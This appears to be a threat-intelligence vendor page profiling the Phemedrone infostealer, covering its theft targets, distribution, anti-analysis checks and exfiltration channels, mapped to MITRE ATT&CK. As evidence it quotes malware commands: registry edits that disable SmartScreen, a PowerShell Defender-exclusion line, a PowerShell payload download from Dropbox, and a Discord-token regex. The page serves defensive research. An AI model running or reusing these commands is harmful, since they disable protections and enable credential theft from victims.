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Mallory
MalwareUsed by 1 actor

Phemedrone

Phemedrone is an open-source C# infostealer/Trojan used to steal credentials and other sensitive data from Windows systems. The malware has been distributed mainly via Telegram and was previously available on GitHub before takedown, making it easy for threat actors to customize and rebrand; one observed campaign used a Phemedrone variant rebranded as “VGS.” It has also appeared in broader malware distribution schemes, including YouTube- and Telegram-based campaigns involving fake game cheats, software cracks, and trojanized restriction-bypass tools, and it has been listed among commonly used families alongside NJRat, XWorm, and DCRat.

Phemedrone steals passwords, cookies, credit card data, and other information from Chromium-based and Firefox/Gecko-based browsers. It also targets numerous browser extensions, including cryptocurrency wallets and password managers such as MetaMask, Trust Wallet, Coinbase Wallet, Phantom Wallet, Bitwarden, LastPass, KeePassXC, Ledger Live, Trezor, Google Authenticator, Microsoft Authenticator, Authy, and Duo Mobile. Additional theft capabilities include Discord tokens (including extraction from LevelDB data using the regex string "dQw4w9WgXcQdQw4w9WgXcQ:[^"]*"), cryptowallet data including wallet.dat files, FileZilla recentservers.xml and sitemanager.xml, Steam ssfn files and config.vdf, Telegram tdata and related registry data, VPN-related data from OpenVPN, ProtonVPN, and SurfShark, and files from Desktop and My Documents via a configurable FileGrabber.

The malware parses stolen passwords and cookies on the victim machine and categorizes them with tags to help operators identify valuable logs. Its default tagging includes Russian-focused financial and service targets such as Tinkoff, Sberbank, YooMoney, and FunPay. It generates an Information.txt file containing victim system information, counts of stolen passwords and cookies, and tag results, and it automatically captures a screenshot after installation for exfiltration. Phemedrone can also generate random user agents for communications.

Observed system-discovery behavior includes geolocation lookup via hxxp://ip-api[.]com/json/?fields=11827 in its GetGeoInformation() method. The malware supports multiple exfiltration modes: gate sender, panel sender, and Telegram sender; the Telegram sender can encrypt logs with AES and RSA before transmission. Anti-analysis features include anti-debugger checks, anti-VM checks, a mutex check, and an optional CIS keyboard-language exclusion that is disabled by default in the builder.

Phemedrone has also been reported among malware families that successfully bypassed App-Bound Encryption. Related variants exist, including Mephedrone. SpyCloud recaptured Phemedrone logs globally, with the largest observed shares in the United States, the Netherlands, and the Republic of Korea, while Russia accounted for a smaller share despite the malware’s Russia-focused tagging.

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THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

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YouTube Ghost Network

Others include StealC, RedLine, Odebug and other Phemedrone variants, and NodeJS loaders and downloaders.

via dark readingdarkreading.com
MITRE ATT&CK

Techniques & procedures

22 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique
T1590.005IP AddressesEvidence1

Gather Victim Network Information - T1590.005 7 out of the 17 malware families analyzed by STRT were observed collecting network-related information, such as the public IP address, geographic location, and other metadata, by querying external IP-lookup web services.

Initial Access

1 technique
T1566.002Spearphishing LinkEvidence1

The original distribution method started with YouTube videos promoting game cheats. The videos were frequently accompanied by a link to an archive and a password to unlock it.

Execution

2 techniques
T1059.001PowerShellEvidence1

Its only purpose was to download another password-protected archive via PowerShell... Following that, start.bat would use PowerShell to launch the executable files from the archive.

T1204User ExecutionEvidence1

Upon unpacking the archive, the user would invariably discover a start.bat batch file in the root folder... Following that, start.bat would use PowerShell to launch the executable files from the archive.

Persistence

1 technique
T1112Modify RegistryEvidence1

reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\AppHost" / v "EnableWebContentEvaluation" / t REG_DWORD / d 0 / f reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer" / v "SmartScreenEnabled" / t REG_SZ / d "Off" / f

Privilege Escalation

1 technique
T1548.002Bypass User Account ControlEvidence1

Multiple families have successfully bypassed App-Bound Encryption including Phemedrone, LummaC2, Meduza, Vidar, StealC, Rhadamanthys, WhiteSnake, Meta, and Lumar.

Stealth

4 techniques
T1036MasqueradingEvidence1

They started distributing malware under the guise of restriction bypass programs and injecting malicious code into existing programs.

T1497Virtualization/Sandbox EvasionEvidence1

Phemedrone contains several anti-analysis checks which can be enabled during the build phase of the malware. If any of the checks described below are successful, Phemedrone exits.

T1497.001System ChecksEvidence1

Anti-VM Phemedrone’s anti-VM check checks the victim’s computer for the following virtual machine (VM) strings, which indicate that Phemedrone is being run in a VM.

T1622Debugger EvasionEvidence1

Anti-debugger Phemedrone’s anti-debugger check checks the victim’s environment for the following processes, which may indicate that Phemedrone is being debugged.

Defense Impairment

1 technique
T1112Modify RegistryEvidence1

reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\AppHost" / v "EnableWebContentEvaluation" / t REG_DWORD / d 0 / f reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer" / v "SmartScreenEnabled" / t REG_SZ / d "Off" / f

Credential Access

3 techniques
T1528Steal Application Access TokenEvidence1

Phemedrone will target Discord tokens by accessing the Discord leveldb database, stored on a victim’s computer. It will then regex for “dQw4w9WgXcQdQw4w9WgXcQ:[^\”]*”, which it will use to extract the victim’s Discord token for authentication purposes.

T1539Steal Web Session CookieEvidence1

Phemedrone steals data from the internal Chromium/Firefox storage databases that store passwords, credit cards, cookies, and more.

T1555Credentials from Password StoresEvidence1

Phemedrone accesses a variety of Chromium and Firefox/Gecko based browsers in order to steal data from them. Phemedrone steals data from the internal Chromium/Firefox storage databases that store passwords, credit cards, cookies, and more.

Discovery

4 techniques
T1497Virtualization/Sandbox EvasionEvidence1

Phemedrone contains several anti-analysis checks which can be enabled during the build phase of the malware. If any of the checks described below are successful, Phemedrone exits.

T1497.001System ChecksEvidence1

Anti-VM Phemedrone’s anti-VM check checks the victim’s computer for the following virtual machine (VM) strings, which indicate that Phemedrone is being run in a VM.

T1614.001System Language DiscoveryEvidence1

CIS check Phemedrone has a check that checks if a victim is a speaker of the following languages spoken in Commonwealth of Independent States (CIS) countries, by using a keyboard language check.

T1622Debugger EvasionEvidence1

Anti-debugger Phemedrone’s anti-debugger check checks the victim’s environment for the following processes, which may indicate that Phemedrone is being debugged.

Collection

3 techniques
T1005Data from Local SystemEvidence1

Phemedrone also includes a basic filegrabber, which will iterate through My Documents and Desktop and steal all files based on config supplied max file size and directory depth.

T1113Screen CaptureEvidence1

Phemedrone will automatically obtain a screenshot of the victim’s screen post installation for exfiltration.

T1560Archive Collected DataEvidence2

The videos were frequently accompanied by a link to an archive and a password to unlock it... download another password-protected archive via PowerShell, and unpack that with UnRAR.exe

Command and Control

2 techniques
T1071Application Layer ProtocolEvidence1

Phemedrone’s gate sender allows actors using Phemedrone to specify a C2 that hosts the Phemedrone gate.php script. Bots that connect to this php gate will send their logs there.

T1105Ingress Tool TransferEvidence1

Its only purpose was to download another password-protected archive via PowerShell... powershell - Command "(New-Object Net.WebClient).DownloadFile('https://www.dropbox.com/.../black.rar?...', 'C:\Users\<redacted>\AppData\Local\Temp\black.rar')"

Exfiltration

1 technique
T1567Exfiltration Over Web ServiceEvidence1

Phemedrone’s Telegram sender allows actors to specify a Telegram channel/telegram bot as the preferred destination for exfiltrated logs.

Other

2 techniques
T1562Impair DefensesEvidence1

While doing so, it added every drive root folder to SmartScreen filter exceptions. It then reset the EnableWebContentEvaluation and SmartScreenEnabled registry keys... to disable SmartScreen altogether.

T1562.001Disable or Modify ToolsEvidence1

powershell - Command "Get-PSDrive -PSProvider FileSystem | ForEach-Object {Add-MpPreference -ExclusionPath $_.Root}"

INDICATORS OF COMPROMISE

IOCs tracked for this family

6 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

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Network
2 tracked

IPs, domains, and DNS infrastructure linked to this family.

Other
4 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in app4 days ago
domain●●●●●●●●●●●●View more in app1 month ago
uri●●●●●●●●●●●●View more in app2 years ago
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uri●●●●●●●●●●●●View more in app5 years ago
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What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching6

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping22

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.